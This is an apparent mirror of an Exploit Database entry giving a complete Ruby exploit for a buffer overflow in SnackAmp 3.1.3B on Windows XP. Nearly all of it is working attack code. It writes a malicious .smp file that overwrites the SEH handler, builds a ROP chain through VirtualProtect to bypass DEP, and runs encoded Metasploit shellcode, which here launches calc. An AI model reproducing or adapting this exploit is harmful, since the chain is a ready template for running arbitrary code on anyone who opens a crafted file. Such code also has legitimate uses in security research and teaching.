SnackAmp 3.1.3B – SMP Buffer Overflow (SEH) (DEP Bypass)

• Exploit Database
• 35 阅读

• 作者： Muhamad Fadzil Ramli
  日期： 2010-10-04
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15201/

• # Exploit Title: SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH - DEP BYPASS)
  # Date: 09/24/10
  # Author: Muhamad Fadzil Ramli - mind1355 [AT] gmail [DOT] com
  # Credit/Bug Found By: james [AT] learnsecurityonline [DOT] com 
  # Software Link: http://sourceforge.net/projects/snackamp/
  # Version: 3.1.3 Beta
  # Tested on: Windows XP SP3 EN(Virtualbox 3.2.8 R64453)
  # CVE: N/A
  # GREETZ: Intranium Sdn Bhd (Security Team)
  #		: corelanc0d3r - Great Tutorial
  #
  #! /usr/bin/env ruby
  
  # windows/exec - 144 bytes
  # http://www.metasploit.com
  # Encoder: x86/shikata_ga_nai
  # EXITFUNC=seh, CMD=calc
  payload ="\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc" 
  payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78" 
  payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85" 
  payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5" 
  payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c" 
  payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21" 
  payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5" 
  payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27" 
  payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3" 
  payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53" 
  payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f" 
  payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6" 
  payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8" 
  payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" 
  payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f" 
  payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"
  
  junk1	= "A" * 13864
  seh		= [0x004659C1].pack('V')			# ADD ESP, 428 # RETN 	[Module : snackAmp.exe]
  ret		= [0x014E101F].pack('V') * 50		# RETN 	[Module : pngtcl10.dll]
  
  # ROP 1
  rop1	= ''
  rop1	<< [0x71ABDAC3].pack('V')			# PUSHESP # POP ESI # RETN 	[Module : WS2_32.dll]
  #rop1	<< [0x014E1265].pack('V')			# MOV EAX, ESI # POP ESI # RETN 	[Module : pngtcl10.dll]
  #rop1	<< "DEAD"							# PADDING
  rop1	<< [0x014F08B1].pack('V')			# ADD ESP, 20 # RETN 	[Module : pngtcl10.dll]
  # END
  
  # VIRTUALPROTECT PARAMETERS
  params	= ''
  params << [0x7C801AD4].pack('V') 			# VirtualProtect
  params << 'WWWW' 							# return address (param1)
  params << 'XXXX' 							# lpAddress(param2)
  params << 'YYYY' 							# Size (param3)
  params << 'ZZZZ' 							# flNewProtect (param4)
  params << [0x014F5005].pack('V');			# writeable address
  params << 'DEAD' * 2						# PADDING
  # END
  
  # ROP 2
  # PARAM 1
  rop2	= ''
  rop2	<< [0x014E1265].pack('V')			# MOV EAX, ESI # POP ESI # RETN 	[Module : pngtcl10.dll]
  rop2	<< "DEAD"
  rop2	<< [0x77037BFA].pack('V')			# PUSHEAX # POP ESI # POP EBX # RETN 	[Module : CLBCATQ.DLL]
  rop2	<< "DEAD"
  rop2	<< [0x014F2860].pack('V') * 10		# ADD EAX, 20 # RETN 	[Module : pngtcl10.dll]
  rop2	<< [0x71ABC7E8].pack('V')			# MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN4 	[Module : WS2_32.dll]
  rop2	<< "DEAD" * 2
  # END
  
  # PARAM 2
  rop2	<< [0x77037BFA].pack('V')			# PUSHEAX # POP ESI # POP EBX # RETN 	[Module : CLBCATQ.DLL]
  rop2	<< "DEAD" * 2
  rop2	<< [0x014F2860].pack('V') * 10		# ADD EAX, 20 # RETN 	[Module : pngtcl10.dll]
  rop2	<< [0x75F991D3].pack('V') * 4		# INC ESI # RETN 	[Module : browseui.dll]
  rop2	<< [0x71ABC7E8].pack('V')			# MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN4 	[Module : WS2_32.dll]
  rop2	<< "DEAD" * 2
  # END
  
  # PARAM 3
  rop2	<< [0x77037BFA].pack('V')			# PUSHEAX # POP ESI # POP EBX # RETN 	[Module : CLBCATQ.DLL]
  rop2	<< "DEAD" * 2
  rop2	<< [0x014E1248].pack('V')			# XOR EAX, EAX # RETN 	[Module : pngtcl10.dll]
  rop2	<< [0x77C4EC2B].pack('V')			# ADD EAX, 100 # POP EBP # RETN 	[Module : MSVCRT.dll]
  rop2	<< "DEAD"
  rop2	<< [0x77C4EC2B].pack('V')			# ADD EAX, 100 # POP EBP # RETN 	[Module : MSVCRT.dll]
  rop2	<< "DEAD"
  rop2	<< [0x77C4EC2B].pack('V')			# ADD EAX, 100 # POP EBP # RETN 	[Module : MSVCRT.dll]
  rop2	<< "DEAD"
  rop2	<< [0x75F991D3].pack('V') * 4		# INC ESI # RETN 	[Module : browseui.dll]
  rop2	<< [0x71ABC7E8].pack('V')			# MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN4 	[Module : WS2_32.dll]
  rop2	<< "DEAD" * 2
  # END
  
  # PARAM 4
  rop2	<< [0x77037BFA].pack('V')			# PUSHEAX # POP ESI # POP EBX # RETN 	[Module : CLBCATQ.DLL]
  rop2	<< "PPPP" * 2
  rop2	<< [0x014E1248].pack('V')			# XOR EAX, EAX # RETN 	[Module : pngtcl10.dll]
  rop2	<< [0x76CA8BBF].pack('V')			# ADD EAX, 40 # RETN 	[Module : IMAGEHLP.dll]
  rop2	<< [0x75F991D3].pack('V') * 4		# INC ESI # RETN 	[Module : browseui.dll]
  rop2	<< [0x71ABC7E8].pack('V')			# MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN4 	[Module : WS2_32.dll]
  rop2	<< "DEAD" * 2
  # END
  
  # POINT ESP TO VIRTUALPROCTECT
  rop2	<< [0x775D1381].pack('V')			# SUB EAX, 4 # RETN 	[Module : ole32.dll]
  rop2	<< "DEAD"
  rop2	<< [0x775D1381].pack('V')			# SUB EAX, 4 # RETN 	[Module : ole32.dll]
  rop2	<< [0x5B886978].pack('V')			# XCHGEAX, ESP # RETN 	[Module : NETAPI32.dll]
  # END
  
  nops	= "\x90" * 150
  junk2	= "C" * (20000 - (junk1 + seh + ret + rop1 + params + rop2 + nops + payload).length)
  xploit	= junk1 + seh + ret + rop1 + params + rop2 + nops + payload + junk2
  
  
  File.open("crash.smp", 'w') do |fd|
  	fd.write xploit
  	puts "file size: " + xploit.length.to_s
  end